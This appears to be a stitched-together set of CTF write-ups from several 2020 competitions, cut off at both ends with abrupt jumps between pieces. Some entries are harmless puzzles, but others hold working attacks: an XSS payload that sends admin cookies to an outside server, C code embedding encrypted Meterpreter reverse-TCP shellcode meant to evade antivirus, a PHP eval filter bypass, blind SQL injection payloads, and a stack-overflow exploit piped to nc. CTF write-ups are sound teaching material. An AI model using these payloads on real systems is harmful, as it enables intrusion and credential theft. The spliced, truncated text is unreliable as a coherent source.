|\n|_|\n \n', '5': u' ____ \n| ___| \n|___ \\ \n ___) |\n|____/ \n \n', '9': u' ___ \n / _ \\ \n| (_) |\n \\__, |\n /_/ \n \n', '=': u' \n _____ \n|_____|\n|_____|\n \n \n', 'A': u' _ \n / \\ \n / _ \\ \n / ___ \\ \n/_/ \\_\\\n \n', 'E': u' _____ \n| ____|\n| _| \n| |___ \n|_____|\n \n', 'I': u' ___ \n|_ _|\n | | \n | | \n|___|\n \n', 'M': u' __ __ \n| \\/ |\n| |\\/| |\n| | | |\n|_| |_|\n \n', 'Q': u' ___ \n / _ \\ \n| | | |\n| |_| |\n \\__\\_\\\n \n', 'U': u' _ _ \n| | | |\n| | | |\n| |_| |\n \\___/ \n \n', 'Y': u'__ __\n\\ \\ / /\n \\ V / \n | | \n |_| \n \n', ']': u' __ \n|_ |\n | |\n | |\n | |\n|__|\n', 'a': u' \n __ _ \n / _` |\n| (_| |\n \\__,_|\n \n', 'e': u' \n ___ \n / _ \\\n| __/\n \\___|\n \n', 'i': u' _ \n(_)\n| |\n| |\n|_|\n \n', 'm': u" \n _ __ ___ \n| '_ ` _ \\ \n| | | | | |\n|_| |_| |_|\n \n", 'q': u' \n __ _ \n / _` |\n| (_| |\n \\__, |\n |_|\n', 'u': u' \n _ _ \n| | | |\n| |_| |\n \\__,_|\n \n', 'y': u' \n _ _ \n| | | |\n| |_| |\n \\__, |\n |___/ \n', '}': u'__ \n\\ \\ \n | | \n > >\n | | \n/_/ \n', " ": u' \n \n \n \n \n \n'} if __name__ == '__main__': r = remote('3.91.74.70', 1338) for _ in range(3): print(r.recvline()) for i in range(200): letters_raw = [r.recvline()[:-2] for x in range(7)] if letters_raw[0].startswith(b'>'): letters_raw[0] = letters_raw[0][1:] print(letters_raw) print('\n'.join([x.decode() for x in letters_raw])) letters = [list(x) for x in letters_raw] letters = list(filter(bool, letters)) letters = np.array([np.array(x) for x in letters]) res = '' while letters.shape[1] > 0: for k, v in standard_dic.items(): if k not in string.ascii_letters + string.ascii_uppercase + string.digits: continue letter = np.array([np.array(list(map(ord, x))) for x in v.split('\n') if x != '']) shape = letter.shape guessed_letter = letters[0:shape[0], 0:shape[1]] if guessed_letter.shape == letter.shape and (guessed_letter == letter).all(): res += k print(f'Found letter: {k}') letters = letters[:, shape[1]:] break else: print('Nothing found') exit(0) print(f'Solve {i}') r.sendline(res)``` ###### FLAG:securinets{w3ll_d0n3_g00d!!}
Three bugs: path traversal in import statements, integer overflow in array size, type confusion in function prototypes. See the [original writeup](https://abiondo.me/2020/03/22/saarctf20-schlossberg/).
# KAVM (12 solves) >I think "K" stands for KERRO and "A" for Anis_Boss and you know the rest... :D >>Authors : KERRO & Anis_Boss We are given 32bit binary, the binary is packed with virtual machine. The dispatch function is simple. We fetch byte from bytecode and process it. ```c++int main(){ int opcode; while ( next ) { ++count; opcode = fetch_opcode(); vm(opcode); } return 0;}``` I wont list vm code here, it is pretty simple. Solution: Place hardware breakpoints on access on our entered flag. Notice, that it is being xored with index of array. The algo looks like this: ```pythondef algo(): out = '' inp = str(input()) for i in range(len(inp)): out += chr(ord(inp[i]) ^ (flag_len - i)) print(out)``` After that it is being compared with hardcoded buffer. full script: ```pythonimport sysfrom binascii import unhexlify as ux flag_len = 0x20# hardcoded flagflag = ux('53 7A 7D 68 6E 72 74 7C 6C 64 6D 63 79 4C 62 63 20 7B 3D 6E 78 3A 3A 67 57 75 36 66 6F 36 23 7C'.replace(' ', '')) def main(): out = '' for i in range(len(flag)): out += chr(flag[i] ^ (flag_len - i)) print(out) if __name__ == "__main__": sys.exit(main())``` yields the flag: `securinets{vm_pr0t3ct10n_r0ck5!}`
# Welcome Challenge [web] Securinets Prequals 2K20 his write-up is about the challenge "welcome" writeup on ctf time here : https://ctftime.org/writeup/19026## ## The ChallengeLooking at the first challenge , When we opened the address in the browser, we were given a number "1" with parametre **/?cmd=print(1)**when change command i get msg "your input is blacklisted "so first we need to know what function disable by execution phpinfo() function and to bypass the `preg_match` filters. our request would be : **`/?cmd=$f=p.h.p.i.n.f.o; $f();`**If you look at result . you will notice that `file_get_contents` is not in the list and many other function but first we need to search about what is the flag file name . so i we need to make command that execute next \$_Get parametre with next() fonction and execute it with eval so our request would be : `$n=ne.xt;eval($n($_GET));` We won’t go into details in this part, but basically you could use `glob` to find the files. `/cmd=$n=ne.xt;eval($n($_GET));&a=print_r(glob("*"));` ===>Array ( [0] => flag.php [1] => index.php ) so our file name is flag.php . so change a lil bit tha request parametre by include **file_get_contents** fonction on **print_r** **`cmd=$n=ne.xt;eval($n($_GET));&a=print_r(file_get_contents(%22flag.php%22));`**TAB : Ctrl + u : ***`$flaG='securinets{just_pHp_warMup_xD}';`***
To see scripts please see original writeup. ## Solution (tl;dr version) The search field on the web page had a sql injection vulnerability. Testing payloads on the input some blacklisted characters were found: whitespace and comma. A boolean inferential injection was created. Using the results of a search to determine if it evaluated to true or not.If true the search results would contain a thought.If false the search results would be blank. Example truth payload:`1')/**/AND/**/1=1;#`Example false payload:`1')/**/AND/**/1=2;#` Using the queries from the [perspective risk sqli cheat sheet](https://www.perspectiverisk.com/mysql-sql-injection-practical-cheat-sheet/) as a base, I modified them to avoid being filtered out (removing whitespace and rewriting the queries to not use commas).I then made some python scripts:```get_db_name.py #Get a database nameget_table_names.py #Get a table name in a specified databaseget_column_names.py #Get columns from a specified table.get_values.py #Get values from a specifed column in a specified table.``` This turned out to redirect the challenge since the flag was not in the database. There was a note in the entry in the secrets table saying the flag was moved to a txt file. The next steps were to figure out where the file was and then read the contents of the file, still using sql. A full path to the file was needed. To accomplish this values were read from the sql global variables and the `load_file` function was used to get the file contents. ```get_sql_variable.py #Get the value of a global variable.get_flag_txt.py #Get the contents of the flag.txt file``` Ultimately resulting in getting the flag.```$ python get_flag_txt.py ...[83, 101, 99, 117, 114, 105, 110, 101, 116, 115, 123, 83, 101, 99, 117, 82, 51, 95, 89, 111, 117, 114, 83, 81, 76, 33, 125, 10]Securinets{SecuR3_YourSQL!}```
The challenge provides us with an image that has 26 words paired with numbers. Think of each word as an equation, and all words together as a system of linear equations. For example, the first pair is apple 453. This can be thought of as a + 2p + l + e = 453. Each equation has infinite solutions, but together as a system they have 1 solutution. In the solution, a = 70, b = 35, etc. If you put them in alphabetical order, they will be the ascii values for the flag. Use any tool to solve this. I chose to represent the systems of equations as sage matricies and have sage do some linear algebra to solve them.
# **MISC** ## BLACK^YELLOW (1000 pts):![](/BLACK^YELLOW/Task.png) link : https://gofile.io/?c=QoxGao ## Solution: So we've got first a password protected zip file [part1.zip](https://gofile.io/?c=QoxGao) and a png [Darlene.png](/BLACK^YELLOW/Darlene.png). From the task name we know we are going to work with those BLACK and YELLOW dots in the photo (you can spot them on the top-left corner): ![](/BLACK^YELLOW/Darlene.png) First thing let's print the coordinates of those pixels, We can see that the second value y of (x,y) seems to be chars ASCII code (not always though) ![](/BLACK^YELLOW/arrays.png) if we try and print those values we get: ![](/BLACK^YELLOW/Strings.png) We can see the first string seems to be base64 encoded and we can spot the seperator = , however it contains a non-ASCII chars. We get rid of those chars and get the first string *Rl1BCgsNUxVBHh0QQQoFHwUdX1cTCBFDR1oWBxsRAgsICBoLER4TDQcXRxVVFh0bCU4zJSAsdGB8MidCFEVBE1NLGzEQXTYeXl5fURU8YWVpAwFJEjFUA1o=* The second string is pretty obvious: *123abc456wixandmix* Referring to the title once again, we need to xor those two strings and we get : **working with darlene is so priceless , lets catch WHITEROSE! pwd:3z_t0_foll0w_UP_th1s_0n3** [Script](/BLACK^YELLOW/solve.py) ```pythonfrom PIL import Imageimport base64im = Image.open("Darlene.png")height,width = im.size black=[]yellow=[]a=""b=""for i in range(height): for j in range(width): if im.getpixel((i,j))==(255,255,0,255): yellow.append((i,j)) b+=chr(j%256) if im.getpixel((i,j))==(0,0,0,255): black.append((i,j)) a+=chr(j%256)#print black#print yellow#print a#print b key ="123abc456wixandmix"passwd=""j=0s="Rl1BCgsNUxVBHh0QQQoFHwUdX1cTCBFDR1oWBxsRAgsICBoLER4TDQcXRxVVFh0bCU4zJSAsdGB8MidCFEVBE1NLGzEQXTYeXl5fURU8YWVpAwFJEjFUA1o="s=base64.b64decode(s)for i in s: passwd+=chr(ord(i)^ord(key[j%len(key)])) j+=1print passwd``` Nice! We got first password. Extracting the zip inflates two files: another password protected zip file [part2.zip](/BLACK^YELLOW/part2.zip) and a wav file (I couldn't upload because it's too big) elliot.wav. After several attempts, i used a [script](/BLACK^YELLOW/solver.py) I've found on github for audio steganographyhttps://gist.github.com/sumit-code/5c91613fc6a20931dcad933e105e80e8#file-audio-steganography-receiver-py ```pythonimport wave song = wave.open("elliot.wav", mode='rb') frame_bytes = bytearray(list(song.readframes(song.getnframes())))extracted = [frame_bytes[i] & 1 for i in range(len(frame_bytes))]string = "".join(chr(int("".join(map(str,extracted[i:i+8])),2)) for i in range(0,len(extracted),8))decoded = string.split("###")[0]print("Sucessfully decoded: "+decoded)song.close()``` And we get:**Sucessfully decoded: Old trick hidding message in a song -Darlene , go on ! pwd:W3_d0m1naTe_h3r3** Using that password we extract the last file [scy_11.png](/BLACK^YELLOW/scy_11.png) . Running file command on that file reveals it's not an Image but: *scy_11.png: UTF-8 Unicode text* The text was: **A·iobend}fws··t3o·th·?!s_3·eik··{Ds·rtiGSW4n··eloe3rt·arlocLl_·loeduL3f·lsd·r_na··e·jid3i·,·non0_l·** The name of the file itself was the solution for this cipher. It's *Scytale Cipher* with **11** turns of Band. Few quick clicks on dcode.fr and we had our flag! ![](/BLACK^YELLOW/flag.png) **Flag: Securinets{W3LL_d0n3_D4rl3n3_do3snt_fail}**
In task, we have a simple LRU cache on disk written in Python. The name heavily hints that the server is running with Windows Defender near, the hint sends us back to WIndows Defender task where the solution was the JavaScript deletion oracle. This time, JS won't work. Every good antivirus has an x86 emulator these days, that's what immediately came to my mind. It is called on new executable files when any disk operation happens to them, for example, new file is saved to the disk. And what is the 100% trigger for the antivirus? One may think that EICAR string will suffice, but it's not true, EICAR string should appear at the beginning of the file. What we really need is some common shellcode, like Msfvenom's `windows/x64/meterpreter/reverse_tcp`. Again, every good antivirus has signatures for Msfvenom's shellcodes. Back to the task, what is happening there? The app appends the flag to our file before saving it do disk. How can we abuse it? First of all, WinAPI makes it extremely easy to read our own executable. Now we can conditionally decrypt and call the shellcode if, for example, last byte of our executable is less then 0x40. If it is indeed less, then the shellcode will be decrypted in emulator, trigger the signature, and file will be deleted (but the server will return an UUID for this file). Consequently, trying to get this file will return an HTTP 500 error (I don't really know why). If the shellcode was not decrypted, the file will be saved, and GET will return 200. That's our oracle. Additionally, since there are limits on emulator run time, I preemtively optimized the payload binary, i.e., deleted all mentions of CRT, now the execution starts immediately from my `main` function, and there is only one function and one shellcode in the binary. As a consequence, no standard library can be used. I added the `/NODEFAULTLIB` parameter to linker command line and also set the entry point to `main` function. After that, the binary size is 5 KB. `payload.cpp`:``` cpp#define WIN32_LEAN_AND_MEAN#include <Windows.h> // shellcode is encrypted by solve.py#pragma section(".text")__declspec(allocate(".text"))unsigned char shellcode[] = """\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52""\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48""\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9""\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41""\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48""\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b""\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b""\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41""\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1""\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45""\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b""\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01""\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48""\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9""\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00""\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5""\x49\xbc\x02\x00\x7a\x69\x89\x2d\xe4\x89\x41\x54\x49\x89\xe4""\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68""\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a""\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89""\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5""\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba""\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5""\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9""\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5""\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41""\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41""\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31""\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8""\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40""\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5""\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c""\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41""\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5"; int main() { TCHAR path[MAX_PATH]; GetModuleFileName(NULL, path, MAX_PATH); auto hFile = CreateFile(path, FILE_READ_DATA, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); SetFilePointer(hFile, -1, NULL, FILE_END); // -1 here is patched by solve.py unsigned char c; ReadFile(hFile, &c, 1, NULL, NULL); // debug output auto stdout = GetStdHandle(STD_OUTPUT_HANDLE); unsigned char x; x = "0123456789ABCDEF"[c >> 4]; WriteFile(stdout, &x, 1, NULL, NULL); x = "0123456789ABCDEF"[c & 15]; WriteFile(stdout, &x, 1, NULL, NULL); DWORD oldProtect; if (!VirtualProtect((LPVOID)((ptrdiff_t)&shellcode & 0xFFFFFFFFFFFFF000LL), 0x1000, PAGE_EXECUTE_READWRITE, &oldProtect)) { WriteFile(stdout, "VirtualProtect failed", 22, NULL, NULL); return 0; } if (c <= 0x60) { // 0x60 here is patched by solve.py for (size_t i = 0; i < sizeof(shellcode); ++i) { shellcode[i] ^= 0xAA; } } ((void(*)())&shellcode)(); return 0;}``` `solve.py`:``` python#!/usr/bin/env python3import requestsimport sysimport struct HOST = 'http://angry-defender.zajebistyc.tf/cache' def prepare(position, charcode): with open('payload.exe', 'rb') as f: q = f.read() it = q.find(b'\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52') q = list(q) for i in range(it, it + 511): # encrypt shellcode q[i] ^= 0xAA q = bytes(q) it = q.find(b'\x83\xF8\x60') q = q[:it + 2] + struct.pack('B', charcode) + q[it + 3:] q = q[:0x65B] + struct.pack('
# ▼▼▼Xmas Still Stands(Web、50pts、464/1596=29.1%)▼▼▼## ※XSS basic problem This writeup is written by [**@kazkiti_ctf**](https://twitter.com/kazkiti_ctf) ```POST /post HTTP/1.1Host: xmas.2020.chall.actf.coContent-Type: application/x-www-form-urlencoded content=<img+src=X+onerror="location=`https://my_server/`+document.cookie" >``` ↓ Contacting admin with id gives access to my_server from admin ```GET /inspect/01e3c539tf42w5hje1vehjjhk1/super_secret_admin_cookie=hello_yes_i_am_admin;%20admin_name=John HTTP/1.1requestinspector.comSec-Fetch-Site: cross-siteSec-Fetch-Dest: documentSec-Fetch-Mode: navigateUpgrade-Insecure-Requests: 1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: en-USUser-Agent: John's browserReferer: http://127.0.0.1:3000/posts/933Accept-Encoding: gzip```↓ The following admin cookie was obtained `super_secret_admin_cookie=hello_yes_i_am_admin; admin_name=John` ↓ The following admin cookie was obtained ↓ ```GET /admin HTTP/1.1Host: xmas.2020.chall.actf.coCookie: super_secret_admin_cookie=hello_yes_i_am_admin;admin_name=John```↓ `flag is actf{s4n1tize_y0ur_html_4nd_y0ur_h4nds}`
# ångstromCTF 2020![ångstromCTF 2020](angstromCTF2020.png) ångstromCTF 2020 was really a great competition and we as [**P1rates**](https://2020.angstromctf.com/teams/6525) team enjoyed it and learned a lot, I participated as **T1m3-m4ch1n3** and Here's my writeup about what i solved. ## Challenges | Title | Category | Score || ---------------------------------- |:-------------------------------:| -----:|| [Keysar](#Keysar) | Crypto | 40 || [No Canary](#no-canary) | Binary Exploitation | 50 || [Revving Up](#revving-up) | Reversing | 50 || [Inputter](#inputter) | Misc | 100 || [msd](#msd) | Misc | 140 | --- ## Keysar#### Crypto (40 points) ### Description:> **Hey! My friend sent me a message... He said encrypted it with the key ANGSTROMCTF.> He mumbled what cipher he used, but I think I have a clue.> Gotta go though, I have history homework!!> agqr{yue_stdcgciup_padas}** > *Hint: Keyed caesar, does that even exist??* ### solution: Well, as it's obvious from the title it has something to do with "Ceaser Cipher" and as the hint says "Keyed Ceaser" so i used this [site](http://rumkin.com/tools/cipher/caesar-keyed.php) to decrypt the flag given the key provided and BOOM! we got the flag! Flag: ``` actf{yum_delicious_salad} ``` --- ## No Canary#### Binary Exploitation (50 points) ### Description:> **Agriculture is the most healthful, most useful and most noble employment of man.> —George Washington> Can you call the flag function in this [program](No%20Canary/no_canary) ([source](No%20Canary/no_canary.c))? Try it out on the shell server at /problems/2020/no_canary or by connecting with nc shell.actf.co 20700.** > *Hint: What's dangerous about the gets function?* ### solution: The answer for the hint is simple .. It's "overflow"! .. gets function doesn't restrict the user input length and hence we can make an overflow given the address of flag() function to read the flag.txt! So to get the address of flag() function we will use gdb```$ gdb no_canary(gdb) set disassembly-flavor intel(gdb) info func0x0000000000401000 _init0x0000000000401030 puts@plt0x0000000000401040 setresgid@plt0x0000000000401050 system@plt0x0000000000401060 printf@plt0x0000000000401070 gets@plt0x0000000000401080 getegid@plt0x0000000000401090 setvbuf@plt0x00000000004010a0 _start0x00000000004010d0 _dl_relocate_static_pie0x00000000004010e0 deregister_tm_clones0x0000000000401110 register_tm_clones0x0000000000401150 __do_global_dtors_aux0x0000000000401180 frame_dummy0x0000000000401186 flag0x0000000000401199 main0x00000000004012e0 __libc_csu_init0x0000000000401350 __libc_csu_fini0x0000000000401358 _fini``` Nice! we got the address **0x00401186** .. Now we know that name variable is of size 20 so we need a payload > 20 to reach to rip register and put the address of flag() function in there. We need to see the main function:```(gdb) disas main . . 0x00000000004012ba <+289>: call 0x401070 <gets@plt> 0x00000000004012bf <+294>: lea rax,[rbp-0x20] . .```And then setting a breakpoint at **0x004012bf** right after call gets() function instruction:```(gdb) b *0x004012bf```We'll run the program using a payload of 20 "A"s letter:```(gdb) r <<< $(python -c "print 'A' * 20")```Now we hit the breakpoint, We also need to know the saved rip register value so we can detect it on the stack and optimize our payload to target it:```(gdb) info frameStack level 0, frame at 0x7fffffffe590: rip = 0x4012bf in main; saved rip = 0x7ffff7a5a2e1..```So our target is **0x7ffff7a5a2e1** .. Now by examining the stack:```(gdb) x/100x $rsp0x7fffffffe560: 0x41414141 0x41414141 0x41414141 0x414141410x7fffffffe570: 0x41414141 0x00007f00 0x00000000 0x00002af80x7fffffffe580: .0x004012e0 0x00000000 0xf7a5a2e1 0x00007fff..```It's so clear that **0xf7a5a2e1 0x00007fff** is the saved rip register in little-endian and if we can replace it with the flag() function address which is **0x0000000000401186** we can change the flow of the program to print the flag! so our final payload will be:```(gdb) r <<< $(python -c "print 'A' * 40 + '\x86\x11\x40\x00\x00\x00'")```That was locally, and by applying it to **nc shell.actf.co 20700** it should give us the flag:```$ python -c "print 'A' * 40 + '\x86\x11\x40\x00\x00\x00' | nc shell.actf.co 20700``` Flag: ``` actf{that_gosh_darn_canary_got_me_pwned!} ``` --- ## Revving Up#### Reversing (50 points) ### Description:> **Clam wrote a [program](Revving%20Up/revving_up) for his school's cybersecurity club's first rev lecture!> Can you get it to give you the flag?> You can find it at /problems/2020/revving_up on the shell server, which you can access via the "shell" link at the top of the site.** > *Hint: Try some google searches for "how to run a file in linux" or "bash for beginners".* ### solution:We go to the shell server and to the directory given we'll find 2 files flag.txt and revving_up And by: ```bash $ file revving_up ``` we know that it's ELF 64-bit and by running it:```$ ./revving_upCongratulations on running the binary!Now there are a few more things to tend to.Please type "give flag" (without the quotes). ```After we type "give flag":```give flagGood job!Now run the program with a command line argument of "banana" and you'll be done!```So we do as it's said:```$ ./revving_up bananaCongratulations on running the binary!Now there are a few more things to tend to.Please type "give flag" (without the quotes).give flagGood job!Well I think it's about time you got the flag!actf{g3tting_4_h4ng_0f_l1nux_4nd_b4sh}```So easy, right ?!! Flag: ``` actf{g3tting_4_h4ng_0f_l1nux_4nd_b4sh} ``` --- ## Inputter#### Misc (100 points) ### Description:> **Clam really likes challenging himself. When he learned about all these weird unprintable ASCII characters he just HAD to put it in [a challenge](Inputter/inputter). Can you satisfy his knack for strange and hard-to-input characters? [Source](Inputter/inputter.c).> Find it on the shell server at /problems/2020/inputter/.** > *Hint: There are ways to run programs without using the shell.* ### solution:By looking at the source we find interesting conditions:```cint main(int argc, char* argv[]) { setvbuf(stdout, NULL, _IONBF, 0); if (argc != 2) { puts("Your argument count isn't right."); return 1; } if (strcmp(argv[1], " \n'\"\x07")) { puts("Your argument isn't right."); return 1; } char buf[128]; fgets(buf, 128, stdin); if (strcmp(buf, "\x00\x01\x02\x03\n")) { puts("Your input isn't right."); return 1; } puts("You seem to know what you're doing."); print_flag();}```So now we know that:1. There's an argument we must provide when running the file2. The argument value must be ```" \n'\"\x07"``` *(without the quotes)*3. There's an input of value ```"\x00\x01\x02\x03\n"``` *(without the quotes)* I encoded the argument to hex so it became: ``` \x20\x0a\x27\x22\x07 ```*(the backslash \ before " is just to escape the character in the C source)* .. I tried many methods but the easier one to pass this value as argument is using the ```$''``` quote style .. for the input we can use either ``` echo -e ``` or ``` printf ``` the both commands do the same job .. now our full command is:```bash$ printf '\x00\x01\x02\x03\n' | ./inputter $'\x20\x0a\x27\x22\x07'You seem to know what you're doing.actf{impr4ctic4l_pr0blems_c4ll_f0r_impr4ctic4l_s0lutions}``` Flag: ``` actf{impr4ctic4l_pr0blems_c4ll_f0r_impr4ctic4l_s0lutions} ``` --- ## msd#### Misc (140 points) ### Description:> **You thought Angstrom would have a stereotypical LSB challenge... You were wrong! To spice it up, we're now using the [Most Significant Digit](msb/public.py). Can you still power through it?Here's the [encoded image](msb/output.png), and here's the [original image](msb/breathe.jpg), for the... well, you'll see.Important: Don't use Python 3.8, use an older version of Python 3!** > *Hint: Look at the difference between the original and what I created!> Also, which way does LSB work?* ### solution:Nice, so before anything .. we have an original photo ```breathe.jpg```:![original image](msb/breathe.jpg) that has been encoded to ```output.png```:![encoded image](msb/output.png) using ```public.py``` script:```pythonfrom PIL import Image im = Image.open('breathe.jpg')im2 = Image.open("breathe.jpg") width, height = im.size flag = "REDACT"flag = ''.join([str(ord(i)) for i in flag]) def encode(i, d): i = list(str(i)) i[0] = d return int(''.join(i)) c = 0 for j in range(height): for i in range(width): data = [] for a in im.getpixel((i,j)): data.append(encode(a, flag[c % len(flag)])) c+=1 im.putpixel((i,j), tuple(data)) im.save("output.png")pixels = im.load()``` By reading the script provided we conclude:1. flag variable has the decimal values of the characters of the flag ```(ex: "abc" -> "979899")```2. the for loop reads the pixels from top to bottom for each column in the photo starting from top left3. the first pixel in the photo it's first digit from the left "MSD" is replaced with the first digit from the left in the flag variable and the second pixel with the second digit in the flag, etc.. until the flag decimal values ends and then it starts over from the beggining of the flag, etc.. So if the pixel is ``` 104 ``` and the digit from flag decimal representition is ```2``` the pixel becomes ``` 204 ``` But there's a problem .. if the digit is 9 the pixel can not be ``` 904 ``` because the most value that can be stored to the pixel is ```255``` so in this case this digit is lost ... So the reversing of the code will be as follows:1. read the pixels of ``` output.png ```and ``` breathe.jpg ``` in the same direction as in the encryption process2. for each corresponding pixels compare the pixel of ```output.png``` with the pixel of ``` breathe.jpg ``` - if the 2 pixels have the same length AND the encrypted pixel is not equal 255, then get the first digit from left of the encrypted pixel (ex: 104, 204 -> 2) - if the length of the encrypted pixel is less than the length of the original pixel, then put a zero (ex: 123, 23 -> 0) - else then it's a lost digit and put 'x' to recognize it I wrote a script that can iterate through the whole image and do this decryption process: ```pythonfrom PIL import Image imorg = Image.open("breathe.jpg")im = Image.open('output.png') width, height = im.size def getchar(a, b): char = [] # to iterate through the RGB values of the one pixel for i in range(0, 3): x = list(str(a[i])) y = list(str(b[i])) if len(x) == len(y) and b[i] != 255: char.append(y[0]) elif len(y) < len(x): char.append('0') else: char.append('x') return ''.join(char) all = '' for j in range(height): for i in range(width): all += getchar(imorg.getpixel((i, j)), im.getpixel((i, j))) # since we know the first 5 letters of the flag "actf{" -> "9799116102123"pos = all.find('9799116102123')print(all[pos:pos+100])``` Now be running it:```bash$ python3 decrypt.py9799116102123105110104971081019510112010497108101951011221121224549505148579810x10x103121104xxxx1x11```I used this [site](https://www.rapidtables.com/convert/number/ascii-hex-bin-dec-converter.html) to decrypt the result after seperating the digits manually and the result was ``` actf{inhale_exhale_ezpz-12309b ``` .. it seems we got only a part of the flag but there are lost bits .. so we need to add the following couple of lines in our python script to print the next occurence of the flag```pythonpos = all.find('9799116102123')posnext = all.find('9799116', pos+1)print(all[posnext:posnext+100])```And by running again:```bash$ python3 decrypt.py9799116102123105110104971081019510112010497108101951011221121224549505148579810510310312110497981211```Great! There are no lost bits .. Now decrypting again using the same site and yeah, we got the flag! Flag: ``` actf{inhale_exhale_ezpz-12309biggyhaby} ```
# Califrobnication (83 solves) > It's the edge of the world and all of western civilization. >> The sun may rise in the East at least it's settled in a final location. It's understood that Hollywood sells Califrobnication.>> You get source for this one. Find the flag at /problems/2020/califrobnication on the shell server.>> Author: kmh11 In this challenge we have to find flag based on anagram from strfry function. Since we know current time and pid of process, we can reverse strfry and get original message. Source: ```c++#include <stdio.h>#include <string.h> int main() { FILE *f; char flag[50]; f = fopen("flag.txt", "r"); fread(flag, 50, 1, f); strtok(flag, "\n"); memfrob(&flag, strlen(flag)); strfry(&flag;; printf("Here's your encrypted flag: %s\n", &flag;;}``` > The **memfrob**() function encrypts the first *n* bytes of the memory area *s* by exclusive-ORing each character with the number 42. The effect can be reversed by using **memfrob**() on the encrypted memory area. > The **strfry**() function randomizes the contents of *string* by using **rand** to randomly swap characters in the string. The result is an anagram of *string*. strfry source code: ```c++#include <string.h>#include <stdlib.h>#include <time.h>#include <unistd.h>char *strfry (char *string){ static int init; static struct random_data rdata; if (!init) { static char state[32]; rdata.state = NULL; __initstate_r (time ((time_t *) NULL) ^ getpid (), state, sizeof (state), &rdata); init = 1; } size_t len = strlen (string); if (len > 0) for (size_t i = 0; i < len - 1; ++i) { int32_t j; __random_r (&rdata, &j); j = j % (len - i) + i; char c = string[i]; string[i] = string[j]; string[j] = c; } return string;}``` And here is where we can cheat: ```__initstate_r (time ((time_t *) NULL) ^ getpid (), state, sizeof (state), &rdata);``` The seed, that passed to **__random_r** is based on **current time** xor **pid**. Solution: Since we can determine current time and average pid number range, we can find right **rand** sequence that was generated by the program. ```c++#include <stdio.h>#include <string.h>#include <stdlib.h>#include <time.h>#include <unistd.h>#include <stdint.h> // out initial valuesconst int32_t finish_time = 1584522034;const int32_t start_time = 1584522000;const int32_t startpid = 2100;const int32_t finishpid = 2200;const char flag[] = "9dcm0doda2er_aic46aa5fftb1lc_84nfcn1rf{_5otoi}ia"; // reversed strfrychar *strfry_rev(char *string, const int *seq) { size_t len = strlen(string); for (size_t i = len - 2; i >= 0; i--) { char c = string[i]; string[i] = string[seq[i]]; string[seq[i]] = c; } return string;} void brute() { for (int32_t t = start_time; t <= finish_time; t++) { for (int32_t pid = startpid; pid <= finishpid; pid++) { printf("trying %d %d: ", t, pid); int seq[50] = { 0 }; char placeholder[50] = { 0 }; // taken from strfry.c source static struct random_data rdata; static char state[32]; rdata.state = NULL; // generate seq of random ints based on seed initstate_r (t ^ pid, state, sizeof (state), &rdata); // len(flag) == 48 int len = 48; for (int i = 0; i < len - 1; i++) { int32_t j; random_r (&rdata, &j); j = j % (len - i) + i; seq[i] = j; } // reverse strfry strcpy(placeholder, flag); strfry_rev(placeholder, seq); printf("%s\n", placeholder); } }} int main(int argc, char const *argv[]){ brute(); return 0;}``` ```bash$ ./a.out | grep actftrying 1584522016 2101: actf{dream_of_califrobnication_1f6d458091cad254}trying 1584522017 2100: 